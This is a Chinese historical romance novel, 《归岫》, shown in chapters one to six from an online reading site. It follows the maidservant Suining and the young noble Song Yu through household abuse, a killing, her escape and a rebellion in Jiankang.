《归岫》 1. 久别重逢,却作初见 《归岫》全本免费阅读 仿佛昨夜春风至,今日庭中玉兰花开满树。 花枝之下,走过一位头戴幂篱的素衣女子。罗裙曳地,丝履踏过芳尘,途径沙庭,步入回廊,她要去见一位远道而来的贵客,亦是她的故人。 身后的两个婢子思及这位贵客,又免不得议论起传言来,“听闻宋氏的长公子虽生得一副清隽文秀的皮相,里子却性情孤僻,乖戾嗜杀......” “可不是,听闻宋府的前任管事就是死于他手。” “此前二公子亲自迎见,也未能将他请过来,此番却指名道姓要见陈娘子......莫不是......” 岁宁冷声训斥:“噤声,勿语贵人是非。” 她仰头看着白玉兰如月光高坠枝头,映衬如洗的四方天空,心下却是微微叹息。与旁人认识的那个他不同,岁宁知道,那是位矜贵自持的公子,是位待所有人淡薄,也待所有人谦和的贵人。 风言风语向来止不住,于是最初,她也和世人一样,先在流言蜚语中认识了他。 满庭芝兰玉树,唯他一人独立院中,稍显冷清。 岁宁放缓了脚步,悄然走近,隔着纱帘,明目张胆地打量他如墨的眉,如画的眼,背对云影山光,徒惊玉蕊香。 他依旧是记忆中的模样,不过收起了年少恣意,代之以无棱伪装。 那人不着痕迹地瞧了她一眼,轻笑道:“我有没有说过,只见你们女郎一人?” “这......”两个婢子面面相觑,左右为难。 岁宁一抬手,只吩咐她们退下。 少顷,她走上前去,缓缓开口:“久闻宋公子大名......” “已无旁人。”宋聿意味不明地看向她,“女郎欲与我谈条件,却不肯以真面示人,看来是诚意不够?” 岁宁从容揭下了幂篱,眼中多了几分淡漠与疏离:“宋公子如此大费周折,逼得陆氏不得不向你妥协?,难不成只为见我?” 在这乍暖还寒的春日,久别重逢,分明手上已无冻疮,却还是又痛又痒。 只一眼,便方寸淆乱,灵台崩摧。 宋聿垂着眸,没有指责,也没有逼问,只指着檐下的棋盘,柔声笑道:“女郎,入座吧。” 她盯着手边棋子,却是轻叹了口气:“我不会下棋。” “这么些年来,机关算尽,步步为营......”他喃喃自语,“我以为在你眼中,世事如棋。” 岁宁道:“公子也曾说过,棋子无心,可以随意摆弄,而人性变化莫测,是以不可拿棋局作比拟。” 听她提起了旧事,他便也放下了手中的棋子,只问:“当时不是都逃出去了?你为何又回到了这里?” “世间诸事,身不由己。若我说,此事有我不得不这么做的理由,公子可愿相信?” 那双澄澈的眸子望向他,眉眼间的真挚不似作假。那是她惯用的伎俩。 他倾身过去,眼中流露出几许哀伤的情绪:“我如今该唤你什么?岁宁?还是......稚容?” 岁宁望着眼前人,沉默不语。 许多年不曾听闻这个名字,却又在此情此景,听他亲口提起。 于是那随时间的流逝被洗涤,却又愈来愈深刻的旧谊,总在松风过境之时,泛起阵阵涟漪。 岁宁仍记得,她踏入常青院那日,建康城下了第一场雪。 她叫岁宁,这是个偷来的名字。连带着这个名字的因果本不属于她,可是谁教她舍不下这岁岁安宁的期许。 庭院中落叶堆积了一地,连同着青瓦白墙一并裹上了霜雪。 她突然想到合昔院井下的那具尸身,便巴不得这场雪下得再大些,好将一切痕迹都掩去。 四下无人,岁宁独自在檐下候了许久,久到院中青松翠柏都覆了雪。直至琳琅环佩叮当作响,窸窣的脚步声渐渐清晰,才知是那人走近了。折枝声惊起树上栖息的麻雀,振翅掠过云影山光,渐渐飞远。 有位披着白色鹤氅的少年执伞缓缓步入院中,见雪地上留下了一行浅浅的脚印,再抬眸淡淡瞧了一眼立在檐下的少女,暗自叹息,已经记不清这是第几个了。 岁宁同样在打量他,那眉目清冷的少年,既不张扬,也不暗淡,恰似这苍白的世间落下的一片雪。 她不清楚这位公子是个什么样的秉性,只知他素来不喜与人相与。 他是这常青院的主人,亦是宋侍郎的长子,名聿。 宋聿立在檐下,抖落了伞上的雪,尚未等她说话,比直接遣退了她:“你自行去夫人那里回话,我这常青院不必再有人来了。” 那人一开口便将她的希望浇了个彻底。 岁宁追上前两步,用近乎哀求的语气恳求道:“公子知晓夫人的秉性,倘若我就此折返,今夜便会冻毙在风雪中。” “我说得还不够清楚么?”他无心理会,推了门便要进屋。 “公子可与我约法三章,我只求檐下一个栖息之所。” “哦?怎么个约法?”宋聿似乎稍稍提起些兴趣。 岁宁心中升起一丝希望,便说:“纵使公子驱逐了我一个,夫人明日依旧会送人过来。既如此,何不顺势而为,止了夫人这番念头?我愿为公子所用,瞒着青璃院那边。” 那人听完,只淡淡笑了笑,便径自进了书房。 她候在屋外,看屋檐外的白雪纷纷扬扬,又听见屋内人戏谑的笑语:“不进来么?冻死在外面,指望谁替你收尸?” 闻言,岁宁长舒了一口气,庆幸今日免了一顿皮肉之苦。 她进了书房,见少年自己往银炉里添炭,生了炭火,随后在书案前落座。 “研墨,会吗?”宋聿提笔,却见她像木头似的杵在一旁,半点不见方才的机灵劲儿。 “会的。” 才落笔书了几字,他又问:“识字吗?” 岁宁偷偷瞟了一眼纸上未干的字迹,又很快低下头去,生怕看到什么不该看的秘密,于是低声道:“不识。” 宋聿转了转手中笔杆,若有所思:“哦......那便同夫人说,换个识字的来吧。” 岁宁忙改口道:“不必换了......我识字的。” “你不够坦诚。”宋聿冷笑了一声,又将手中毛笔递给她,“叫什么名字?写下来。” “既来了常青院,还请公子赐名。”岁宁没伸手去接,任他的手悬在半空。 宋聿没抬眼看她,只淡淡道:“就用从前的名字吧,改来改去的,麻烦。” 思来想去,她还是在纸上写下了“稚容”二字,那并非她的本名。 “字不错。”宋聿看着那工整的隶体字迹,似乎还算满意。他又从书架上取了一串钥匙递给她,并叮嘱道:“自己去挑间屋子,最好离我的书房远些。缺了什么自行去取,平日里莫来扰我清净。” 岁宁刚要伸手去接,宋聿又突然收回了手,似在戏弄她。他问:“青璃院那边,知道该怎么去回话吗?” 岁宁反问道:“公子希望我如何回话?可否明诲?” “她定会问,我为何留下了你,以及......我今日去了何处......” 岁宁思忖片刻,迟疑地说道:“公子不忍我受冻馁之苦,故而让我留在了常青院。第二个问题......公子今日一直在院中,哪儿也没去。” 宋聿点了点头,“还算聪明 2. 行之将错,无端更起波澜 《归岫》全本免费阅读 纵使冬日里天寒地冻,都过了几日,枯井下的那具尸身还是发臭了。 她曾经只是个庶民,如今府上的人,斥她作伧奴①。 平日里书房的门紧闭,岁宁方踟蹰地走近,便听闻屋内人怒斥一声:“滚远些!” 可她依旧叩响了那扇门,去赌那位公子偶有的善良。 岁宁以手加额,跪伏在地,将头低得不能再低,止不住撒抖抖地颤,“我欲求公子一件事。” “哦?这次要拿什么条件来换?”宋聿饶有兴致地打量她,却又带着冷眼旁观的意味。 “什么样的条件才能打动您?” 宋聿不语。 岁宁抬起头,望着眼前少年寒凉的目光,却透过他,看到镂花窗前挂着的平安符,在竹柏之影下轻轻摇晃。 于是她懂了这位公子心中真正牵绊的东西,表面薄情之人,却最渴望亲情。 岁宁惶恐地闭上了眼睛,心一横,只能先把夫人卖了。 “求公子看在我曾叩首走完净山寺八百级石阶,替您求得平安的份上,帮我这一回。” 宋聿先是一愣,随即投以探究的目光:“你说这符是你求来的?” “是。”她笃定回答,“接虞山净山寺八百一十三级石阶,并非胡诌。” 少年背过身去,望着窗前的平安符,却久久回不过神来。 “公子?” 少顷,只听他叹了口气:“说吧,帮你什么?” “府中管事刘晟传我去问话,公子可否......让我狐假虎威一回?” 宋聿忍不住嗤笑了一声:“这也值得你跪下来?” “是。但此事关系到我的性命。” 少年眼中流露出少许居高临下的怜悯,“罢了,我随你一道过去。” 出了常青院,夹道的林木渐稀,雪地上竹影斑驳,风吹袅袅。行人踩过地上的枯枝干叶,声如碎玉。她跟在那位锦衣华服的公子身后,将事情的起因经过一一道明。 宋聿讶异于她过于平淡的反应,“她死了这么久,你既不知晓,也不难过吗?” “知晓,可我所言,无人会信。” 少年的声音陡然凌厉:“瞒而不报,也是罪过。” 岁宁替自己辩解:“若我说了,说不定就得到井下同她作伴了。” 贺奚是怎么死的呢?是在受不住搓磨之后寻了短见,还是被刘管事勒死了之后投尸井中?她也不清楚,若她给不了众人一个信服的解释,刘管事便会直接拿她抵罪了。 沿着雪地上一行脚印,她跟随少年踏入那间陈旧的小院落。遥遥看见那身形臃肿的男人,身后跟着两名灰衣杂役,一并围聚在井边,枯树下是麻布所掩盖的女尸。 “等等。” 宋聿蓦地扶住门框,捂着口鼻,眉宇间生出一丝厌恶的神情。 “你怎么没说,尸身还没处理......” “公子恕罪,是我思虑不周。不若您先出去?” 宋聿刚想说,不必,免得叫个小女娘看轻了去,结果胃里又是一阵翻江倒海,他又扶着墙干呕起来。 “容我缓缓。” 岁宁“哦”了一声,她家的公子同公主一般娇气。 刘晟赶忙迎上前来,供着手作揖,道:“小人原只是传婢子问个话,怎地还劳烦公子亲自前来?” 宋聿瞥了身旁人一眼,只戏谑地笑道:“她说要狐假虎威,我便过来了。” “......”岁宁一时无言,这忙他还不如不帮。 刘晟又说道:“此地污秽,还请公子先移步别处去。” 宋聿道了声“不妨事”,便领着岁宁去了井边,随手捡起一块石子,从井口扔了进去。回应他的,只有石子在滚落井底的碰撞声,枯井之中,再激不起一丝涟漪。 岁宁行至树下,掀起盖在尸身上的麻布,指给他看,说:“腿骨尽断,头骨却完好,像是投井,抑或是......死后再投尸井中......” “听到了吗?”宋聿打断了她的话,转头同刘晟说道,“照她说的,定个死因,早些将人安葬了,免得将事情闹大了。” “这......”刘晟吞吞吐吐道,“可.....公子,死因还尚未查明......” 宋聿冷笑道:“还查什么?此事早些翻篇,不是正合你意吗?” 刘晟连连点头,陪笑道:“是,此事自然还是听公子的决断。” 宋聿一面接过下人递上来的帕子,慢条斯理地擦手,一面漫不经心叮嘱他道:“下次再找人顶罪,可别找到常青院来。” “啊......是......是。” 岁宁还守在贺奚的尸身旁,却见那人径自拂袖走远了,便也忙起身跟了上去。 “你方才碰过死人,离我远些。”少年开口,丝毫不掩嫌恶之情。 知他害怕死人,嫌她晦气,岁宁便总刻意留出几步路的距离。 归途经过一间落魄的院子,几道槐树枝柯探出了高墙,唯独院门幽闭。门边上的“栖春居”三字早已掉了漆,久矣斑驳,无人在意。宋聿在此驻足须臾,却并未推门进去,只朝着那寂寥的院落遥遥一拜。 没走几步路,他忽然回头,揶揄道:“拿人当刀使的滋味如何?” “奴......奴不敢。”岁宁诚惶诚恐地低下头,不知他意下所指。 “连夫人都能搪塞过去,你还有何不敢的?”只听他继续说,“我既帮了你,你也替我办一件事,如何?” “听凭公子吩咐。” 宋聿道:“栖春居的道长,是我的先生。我如今不便与之往来,你常代我去看看他,偶尔陪他煮茶,下棋。” “可我不会下棋。” “无妨,他也不会下棋。”宋聿云淡风轻地笑着,亦不再去看那积雪的槐树,拂袖而去。 岁宁望着少年疾步离去的背影,没再多问,却也知晓了栖春居中,藏着他的心事与秘密。 霏雪簌簌,一夜未停。 接虞山石阶覆雪,跟随山势蜿蜒而去,又草木幽深所隐。山高路远,少女跟在姜夫人的步辇之后,拾级而上,每一步都小心翼翼。此次,是随夫人还愿而来。 身披紫貂的贵妇人立在香炉前,手持高香,双目紧闭,虔诚祷告。常青院公子的眉眼也像极了这位夫人,只不过多了几分清冷与疏离。 净山寺的方丈佛唱一声,同她说了许多漂亮话。诸如,“夫人如此虔心祷告,定能护佑二位公子顺遂无虞,云程似锦。” 于是姜夫人大手一挥,又往功德箱中投了许多银钱。 耳边传来柳莺的私语:“稚容,你家公子真那么难伺候?” 3. 蒲柳不及冬,折绵总摧残 《归岫》全本免费阅读 灯笼中的烛火被湖风吹得摇摇晃晃,忽明忽灭。 岁宁将从栖春居得来的书卷揣在怀里,又拢了拢衣衫,提着灯缓缓而行。 谁料身后刹时伸出一双手,将她推下结满冰的湖里。碎冰与湖水灌进冬衣里,寒意犹如锥心刺骨的痛,刺进她鲜血淋漓的皮肉里,使之蓦然清醒。才挣扎着爬上了岸,背后一记闷棍又令她跪倒在地。 彼时在主子面前唯唯诺诺的管事,此刻趾高气扬地站在她面前,寒风将他的衣袂吹得猎猎作响。 岁宁颤抖地抬起手,摸到了发髻上的银簪,却瞥见他身后尚还有两名杂役。 刘晟嗤笑道:“我在宋府做了十四年管事,你告了密又如何?常青院的那位向来做不了主,如今哪还护得了你?” “......”岁宁低垂着头,攥着那本已经湿透了的书卷,一言不语。 任由刘晟踩着她的裙摆,张牙舞爪道:“怎么?去了常青院,就忘了怎么乞怜吗?” 岁宁忍住齿间颤栗,连指甲抠烂了书封都浑然未觉。可是想到贺奚的死,她最终还是在活着与死去之间选择了委曲求全。 她麻木地开口:“奴知错了......” “还有呢?” “......再也不敢了......” “今日只给你长个教训,免得来日连自己的地位都认不清。” 黑暗之中,男人笑得愈发得意,带着身后的两名杂役扬长而去。 风雪冷冽,寒意透过湿漉的衣裳如同尖针般刺进了她的骨子里,已分不清是冷还是痛,唯有恨意格外清晰。 昏黄的烛光透过书房的镂花窗,映照在檐下石阶上,是这清冷的院子里唯一一点暖意。 她扶着树干,一步一步踱回院子里。脚步声惊起树上的麻雀,抖落了枝干上的积雪。 宋聿听见院里传来的动静,他举着烛台出了门,立在台阶上,冷声道:“我原以为你成了青璃院的人了,如今又回来作甚?” 她迟疑走近,在看到檐下模糊的人影后,一头栽倒在雪地里,活像只落水的狸奴,浑身透着寒气,狼狈得很。 惊惶取代了恼怒,少年扔了手中的灯,解下身上的斗篷便朝她跑了过去。 “谁干的?”他扶起雪地上奄奄一息的人,将斗篷盖在她身上,一路扶着她进了屋。 她沉默了许久才开口,声音细若游丝:“夜里没看清路,跌水里去了......” “何必骗我?” 到了烛光照亮的檐下,宋聿才看到她后背渗出的血,将洁白的斗篷染红了大片,皑皑雪地之间留下一路蜿蜒的血痕。 他清冷的眉目间挂着平日里少有的怒意,“她打你了?” 喉间忽然涌起一阵酸涩,岁宁无力地抬起手,当真很想抽此人一耳光。可她提不起一丝力气,恨意只能化作冰冷的触觉从他面颊滑落。 待冷静下来,她才记起那册纸页粘连的书,同他说道,“抱歉啊,公子,把周先生给你的书弄湿了。” 虽无法报复,尚且能诛心。 宋聿扫过封面上模糊的墨字,与其上狰狞的指甲印,煞时晃了神。他把人抱到榻上,又将暖炉移到榻边。 “你且等着,我去寻医师来。” 话音如松风过境,吹落了无情枝上的雪。 一如往年冬日,她发了高热,又染了咳疾,在天寒地冻的夜里咳得上气不接下气。每每咳得剧烈,便又扯动背上的伤口,在素纱禅衣上渗出一道道血痕来。 宋聿终日抱着那本满是指甲印的书籍,那是她从栖春居带回来的东西。他时常悔恨自己因一时置气,几乎害得她死在了这个冬夜里。 岁宁乐于见到这位公子眼中的悔意,毕竟在这食人的府邸中,他尚且算得上是个温情尚存的人。 可纵使炭火从未间断,汤药一碗接一碗,却半点好转的迹象也无。连医师都断言,她剩不了几日光景。 风雪漫卷,枯荷摇曳,湖面的薄冰似被寒冬揉碎了般,洒落连片的冰霜,浮起的冰凌随风晃荡,映出寒冷而清冽的光。一个约莫十七八岁的少年立在那儿,冷风吹得发丝凌乱,衣袂飘飖,腰间组玉佩也一并纠缠。 刘晟匆匆赶来,俯身朝他施礼道:“敢问公子,何故唤小人前来?” 宋聿转头睨了他一眼:“你不知晓么?” “还请公子明示。”纵使心中已猜了个大概,刘晟依旧拱手静待。 “走近些。”宋聿抬手,招呼他上前来。 “这......” 见他迟疑,宋聿又不耐斥道:“磨蹭什么?” 刘晟方低头走上前来,少年便后退一步,织成履一抬,直直将他踹进了冰湖里,水花四溅,荡开一片的冰碴。 “公......公子。小人知错,求公子饶过小人......”水中人扑腾一阵,浑身止不住地颤,没得岸上的人准允,却又不敢上岸来。 “你亦惧死?”宋聿神情冷漠地看着湖里挣扎的人,却不觉报仇的快意,“可好端端的人,都快给你弄死了。” “有人落水了!”忽有仆役高声呼号,张惶而去。 未久,一位雍容华贵的锦衣夫人闻声而至,身后还跟着四五个婢子和杂役。 “竖子!”姜夫人怒目嗔他,随后又对身后人吩咐道,“还不快把人捞上来?” “母亲。”宋聿侧过身朝她行礼,“儿可没说,不让他上来。” 姜韶扬起手,看着少年人与自己七分相似的容貌,那一巴掌终究没落下去,最终只是一挥袖,怒道:“瞧瞧你做的好事!非要扰得府上鸡犬不宁才肯罢休,是否?” 宋聿反问道:“府里下人犯了错,不该罚吗?叫他受些皮肉之苦,才肯长记性。” “你何时学的这般乖戾?可是那个伧奴教唆的?”姜韶虽面上怒不止,言下之意却已是在给他找补了。谁料那逆子竟胆敢顶撞:“自然是同母亲学的,您不是向来如此么?” “住口!给我滚回常青院!”姜韶一时气忿,先前那一巴掌还是落在了他脸上,周围下人见状,纷纷吓得低下头去。 宋聿冷声道:“母亲就这般纵着刘晟为虎作伥?” “真是......气煞我也......此事若让你父亲知晓,又要打断几根家法?” 他噤了声,没再争论下去。 窗外天光未明,炉中炭火将熄,屋内残存着淡淡的杜衡香,病榻上的少女悠悠转醒,悄然听着某人靠在榻边喃喃自语。 他似乎怕极了死人,怕极了她会死在常青院里。 “稚容,我原谅你了......” 原谅你此前的刻意欺瞒,首鼠两端,表里不一。 可是他又比谁都清楚,世人既不痴,也不傻,没人会为了他,去违逆姜夫人的命令。 “你可否也原谅我?” “原谅我什么?”岁宁摸索着爬起,拿过压在枕下的银簪,自将散落的青丝绾了绾。眉间忧郁未舒,惨白的面上萦纡一丝病气。 “......”宋聿看着她,莫名红了眼,却久久吐不出一个字来。 岁宁从不觉得自己做错了什么。 “是我错了,你能否宽恕我?”望着她额前垂下的几缕鬓发,掩去了脸上那道浅浅的伤疤,宋聿不自觉地将手抬起,又放下。 岁宁垂眸看着他,眼睫轻轻颤动,睫下泪光闪烁。她不愿作答,只嘲道:“原来公子这般害怕死人啊?” 宋聿便也跟着自嘲,低着头哑然失笑,许是思及了往事,不禁笑出了眼泪来。 她又戏说:“倘若我真死了,公子怕是唯一一个会替我殓尸的人吧?” 宋聿斥她:“说的什么胡话?” 所幸,那一季一枯荣的蒲柳熬过了这个深冬。不知是什么支撑她捱过苦寒,才未变成世间尘土一抔,泥下白骨一具。 岁宁道:“可我在梦中,听到公子说了许多胡话。” “信口胡诌!” 岁宁低咳了几声,抚了抚胸口,又躺回榻上,痴痴地望着头顶的罗帐,自顾自说道:“可是公子......你不知晓冬日的湖水有多冷,不知去净山寺的山路 4. 此身飘零久,青蝇为吊客 《归岫》全本免费阅读 他被禁足在常青院的一个多月里,大多数时候都在檐下煮茶、观雪。有时宋聿执笔抄书,偶尔抬头看她研墨。二人疏远地相伴,聊胜于无。 时序去如流矢,转眼又是冬至。 那是腊月里为数不多雪晴的日子,扶光映衬雪地,洒下一片暖融融的金黄。青松翠竹枝叶上的冰晶,如同琉璃般熠熠生辉,最后又在暖阳下融尽。 书房之中,宋聿照常先净手焚香,坐于案前,裁了页纸来。目光往窗外探去,只见空荡荡的院落,与寂寥的竹柏之影。 不知是今日躲懒......还是到哪里去了...... 宋聿有意无意地等她许久,久到砚中的墨都干透了,直到他耐不下性子,亲自去寻。找遍了常青院的每一间屋子,都没看到那个熟悉的身影。 炉中炭火添了又添,壶中茶水续了又续,木案上的纸页平添许多心不在焉的痕迹。 更深夜静时,月色与雪色之间才见着个朦胧的人影,手中提着食盒,跛着脚朝檐下的少年走近。 宋聿连灯都忘了提,循声而去,忙问:“你今日去了哪里?” 岁宁浑然不觉他脸上的阴郁与担心,依旧笑道:“公子不妨猜猜?” “母亲又传你去青璃院问话了?” 发上落了枯叶,衣襟沾了细雪,一双手冻得通红,她把自己弄得一身狼狈,眼中却满含笑意,“我去了栖春居,爬墙进去的,没人发现。今日冬至,我给周先生送了一碗角儿。还剩了一碗,带回来给你......” 少年看着她眼中笑意柔和,忽然没忍住这一刻的僭越,上前将她抱了个满怀。宽袍大袖遮去了身后的寒风,柔软的青丝垂落在杜衡馨香之中,蹭得她脖子发痒。 “公子?” “下次先同我说,好不好?若是再给人欺负了,可如何是好?” 岁宁看不清他此刻的神情,唯有哽咽的声音诉说着委屈。 “抱歉......我只想让公子展颜。”岁宁伸出了一只手,似哄孩子般拍了拍他的后背,“却不想令公子徒增担忧。” 他不舍地收回手,后退两步,赧然背过身去,“是我该说抱歉,不该如此失礼。” 岁宁提起食盒问他:“冬至的角儿,公子还吃吗?” 宋聿攥紧了袖角,没敢回头,只说:“先进屋吧,屋里还剩些炭火。” 只是余下炭火的并非书房,而是他的寝居。绛紫纱帘层层叠叠,一扇绿檀花绘屏风隔绝了床榻,案侧十三盏青铜连枝灯照得屋内明晃晃,炉中银炭烧得正旺。宋聿收起软毛毡上散落的书卷,给她腾出个落脚的地方。 书满的纸页成堆,写坏的竹笔成冢,他都舍不得丢弃。实在难以将满室狼藉与素日里一丝不苟的公子相联系。 “公子一整日都待在房中吗?”岁宁开口问道,“我原以为冬至,公子会同长辈一起度过。” “我称病了,没去。” 岁宁便也没再问,只将一碗热气腾腾的角儿放在他的面前,眼中湿漉漉的不知是蒸腾的水汽还是他的泪水。 “喜欢吗?” “嗯。”他始终低着头,明明食不知味,却依旧含糊地回答。少年在心底对自己嗤之以鼻,竟被一碗角儿收买了,真没出息。 她又说,“以后每一年冬至都给你做,好不好?” 昏黄烛影下,宋聿盯着地上成双的影子出了神,他容许此人留在了常青院,容许她走进书房,最后希冀着,她能留在余后的年岁里。 见他又不说话,岁宁便起身走至书架前,随手取了本诗经来翻看。扉页恰写着两行小字: “丙戌即去,岁暮霜天曙。云影山光,徒惊玉蕊香......” “别念了。”宋聿上前夺过她手中的书,重新放回架上,也将书中诗篇与他心中的秘密一并深藏。 “不能看吗?” 宋聿道:“除了这本不能,其余都随你。” “罢了,我回房歇息了。” “稚容。”他忽又叫住她,“可否留下?陪我说说话。” 岁宁揉了揉眼,不免觉得有些困乏,只道:“夜已深,不若我去将被褥搬过来?” “你......”宋聿倏然愣住了,低声斥她,“你怎的这般轻浮?” “......” 须臾,他又道:“你身后柜子里有,自去取来。” 是日夜里,那只求荣华富贵的婢子忍着困意,陪她那渴求一丝真情的主子围炉夜谈。 岁宁蜷在绒毯里,看着那人仍端坐案前,不知疲倦地打着香篆,又点了定神香来。寒日里香烟萦纡极缓,杜衡与玉兰馨香淡淡,不惊不扰,许以云烟中的人一份安然。 宋聿问:“先生近来可还安好?他同你一样,每逢冬日便染咳疾。” 岁宁想起今晨翻过栖春居墙头时,那位道长正拿着树上的绳结往自己脖子套。尽管他差点自挂东南枝,岁宁仍是回答:“安好。” 宋聿又问:“那你呢?旧病未愈,又为何替我做这些?” 彼时窗外寒风呼啸,拍打着木窗,炉中炭火烧得正旺,哔剥作响。只听得她轻声问道:“因为我想知道,像公子这样的人,什么样的利益才能打动你?” “你又在盘算些什么?”宋聿轻咳了一声,不愿给她答复。 “我别无所求,只愿常伴公子左右。”那双诚澄澈的眼眸认真地看向他,令人瞧不出什么端倪来。 她长了双善于说谎的眼睛,宋聿却透过这双眼,看到她温良恭逊的外表下,藏着个大逆不道的灵魂。 他有些失望地垂下眸,喃喃自语道,“非得是利益,不能是真心吗?”如雪落的声音隐匿在风里,教人听不真切。 岁宁问:“公子方才说什么?” 少年倾身过去,问道:“方才问你,当真没别的愿望?” 岁宁不动声色地瞧了他一眼,思忖片刻,道:“那就......愿公子前路少周折,省麻烦。愿长闲轻舟泛,仰观游云常自安。愿举杯敬青山,明月松风长相伴。” 为了搪塞他的追问,不由得吐出许多言不由衷的话来。她那重逆无道的愿望如何能教外人知晓?< 5. 一入尘网中,天地作樊笼 《归岫》全本免费阅读 断断续续的血迹一路从合昔院门口延伸到井边,连带着眼前人的素洁衣衫也一并染得斑驳。攥着她的袖角,宋聿不舍得收回手,却也不敢探头往井下看。 于是茫然无措地看着她,颤着声问道:“为何?为何要杀人?” “公子问我为何?”岁宁掀起衣襟,脖子上狭长的血痕赫然映入眼帘,渗出丝丝血液,同她的发丝粘黏在一起。少年的双眸似被定住了,只盯着那道血痕移不开眼,却又听她说:“从前这院子里,也住着许多人,可是最后,她们投湖、投缳、投井......只剩我了。我明明将所有的银钱都给了他,为何他还是不愿放过我......” 她总是将自己搞得一身狼狈。 宋聿无言,只将她脸上的血迹擦了一遍又一遍,可血痕却扎进了她的皮肉里,怎么也擦不去。原本脸上的疤痕还未淡去,如今又添新伤了。 岁宁无动于衷地看着他,叹道:“公子离我远些吧,仔细脏了你的手。” “你没事就好。就说是我杀的,他们不会拿我怎样。”擦完脸上的血迹,宋聿还是装作云淡风轻地笑了笑,又一根根掰开她的手指,夺过了银簪。那枚沾了血的镶玉忍冬纹银簪子,再也绾不回发髻上了。 她却愕然失笑:“每每公子犯错之时,夫人可曾饶过了我?” “我说过,会保你无事的。”宋聿摇着头,不愿松开她的手。 “杀业,忤逆?公子可以不在乎前程和名声,替我担了罪责,可我不能如此。”岁宁掰开他紧攥发白的指节,一步步退到那棵枯树旁,横斜的枝干伸出院墙之外。她也曾无数次幻想,高墙之外,静待她的是什么? “夜里风寒,公子回去吧。我啊,哪怕做个逃奴,我也不愿再做伧奴了。” 风狂揽树,卷落一地的枯叶,也将她的声音绞碎在风里。 “逃奴是什么下场,你比我清楚。”宋聿不可置信地看向她,踟蹰地走上前去,“跟我回常青院去,好不好?” 岁宁不禁冷笑:“回去?去听夫人日复一日的盘问,为奴为婢年复一年受辱,我还要捱多少的搓磨?” “当初不是都说好了?我会带你离开的。” 岁宁立在合昔院破败的院墙旁,看着他沉默良久,最后轻叹了口气,将埋在心里的话尽数托出:“可是公子,如今的你又做得了什么?我没法为了你一句承诺,拿性命去赌。” 她又步步紧逼,声音那么柔和,却字字句句都在质问:“公子明明知道该怎么做,却一步也不走,是因为害怕行差踏错?” “你对府中是非置之不理,将道长的教诲束之高阁,独自困守在常青院里,是因为权贵利益入不了你的眼?还是因为——你懦弱?” 一语中的。宋聿没有反驳。 彼时他也不过十七岁的少年,自甘陷在宋氏龃龉与家庭不睦的泥淖里。 岁宁抬起手,替他抚平眉间的憔悴,她该厌极了此人才是,可为何眼中却淌下两行泪来。她哽咽道:“我知晓公子在乎栖春居的道长,也在乎我。可是这样,你就多了个软肋了。” 她又说:“可我骗了你,道长过得一点都不好,栖春居缺衣少食,也没有炭火,他就只能砍了槐树来烧......” 可那些长辈是如何管教晚辈的呢? 倘有一日,你忤逆了家中长辈,他们便会将你最在乎的东西毁去,以此来逼你妥协。 “先回去治伤好不好?”宋聿替她拢了拢衣襟,盖住脖子上的伤,又解下大氅披在她身上,红着眼哀求,“明日......待到明日,我就去寻你的奴契,趁他们尚未发现,偷偷离开。你可否......可否......不要弃了我?” 她识文字,善诗书,读得懂他写的辞赋。宋聿原以为,能同她做一生的知己。 “当真?”岁宁抬起头看他,见此人毫无城府地待她,不禁也红了眼。 “不骗你。” “可——” 下一刻她的嘴角浮现出一抹诡异的笑意,摸起墙角的碎砖就朝他头上砸了过去。黑暗之中传来一声闷哼,少年捂着??额倒在了雪地里,腰间琳琅环佩碎了一地。温热的血液顺着脸颊流下,一滴一滴,融入雪尘。 空气中弥漫着淡淡的杜衡香,还夹杂着血腥的气息。 “我不愿承公子的情。” 萧萧落叶拍打着腐朽的窗棂,她的声音落在寒风中,在这个夜行无火的夜里,撕裂了他心中最后一丝期许。 这一砸,倒是将他和自己撇了个干干净净。唯有如此,才不至损毁他的声誉,影响他此后的仕途。 他日后会是宋氏矜贵自持的长公子,是这外强中干的世家扶持的傀儡,唯独不会是他自己。 宋聿望着那个身影弃了他披上的大氅,在雪夜里渐行渐远,却没有一句临别赠言。 那一年冬末,覆雪的常青院银装素裹,庭前的常青树叶子落了又落。 雪地无痕,再没有一个瘦骨伶仃的少女来过。 后来,就只剩少年守着一炉仅剩余温的茶,在禁不住寒风的檐下独坐。 常青院的叶子落了一地,许久都无人打扫。 再后来,常青院里又来了几个新的婢子,比她温驯,比她守礼,只是哪哪都不似她。 宋聿本想像从前那般驱逐,可是想到了从前她说的那番话,上一个被他赶出去的婢子被打得体无完肤。 他又叹了口气,只道了声:“留下吧。” 某一日。他路过栖春居,见到新长出的槐树枝伸出了墙头,这是他回到宋府的第七个年头。 少年照常在此伫足,却听得过路之人私语,要将那些出墙的枝柯砍伐。 可是周先生自己都舍不得将那些槐树枝砍掉,他说,要留着给院外的人,每逢夏日,会有个小女娘来采他的槐花。 也是那时,宋聿才懂,从前这府上的人不惧他,于是乎可以肆无忌惮地欺辱他身边之人。 如今,他可以毫无顾忌地走入栖春居的正门,朝着檐下正在煮茶的道士躬身一拜,道一句:“先生,许久不见了。” 那位道长姓周,名其清。他头戴白玉莲纹冠,春日里穿着件单薄的白色长衫,肩上塔着件玄色披风。容貌虽年轻,却已然一副仙风道骨的模样。 < 6. 京城风云卷,历阳乱未歇 《归岫》全本免费阅读 咸和二年的春天,流民之帅起兵反叛,攻入了建康城,一时京城风雨飘摇。 兵变是自历阳起的,岁宁运气不怎么好,前脚踏出了宋府的樊笼,后脚便踩进了兵乱的泥泞。 最初守城的官员与士卒不是被屠杀殆尽,便早已弃甲而逃,沿途皆被流亡之众洗劫一空。山川苍凉,草木含悲。 街道满目疮痍,妇人与稚儿相拥嚎哭,岁宁躲在项王亭里不敢出去,生怕自己成了那伙人的口粮。 落雨了,雷声轰鸣。 雨中忽有人高呼:“将军亲谒项王,闲人退散!” 一时项王亭正门洞开,藏匿其中的老弱妇孺抱头鼠窜,四散乱走。随行的几个兵士提起长矛挑开了挡在路侧的人,一时鲜血淋漓,哭号更甚。 伴随着一阵沉重的脚步声,众兵拥着一道高大的身影出现在门口,明盔亮甲,腰悬长剑,一时天光都被压暗了几分。 岁宁扯过神祠内正错愕的孩子,带她一道躲进了供桌之下。听着门外的脚步声近了,岁宁忙捂住孩子的嘴,悄声道:“嘘,别出声。” 林壄脱了鞋履,卸下头盔,方才缓步走进祠中。 就着身侧兵士端着的水盆净了手,他才接过了三柱长香,高举过头顶,朝项王的塑像虔诚拜了三拜。 “自汤武以干戈创业,后之英雄莫高于项王。今项王在上,讫主君以天命。前朝不容贤者,祸乱自绝,民不聊生,故天弃之......”① 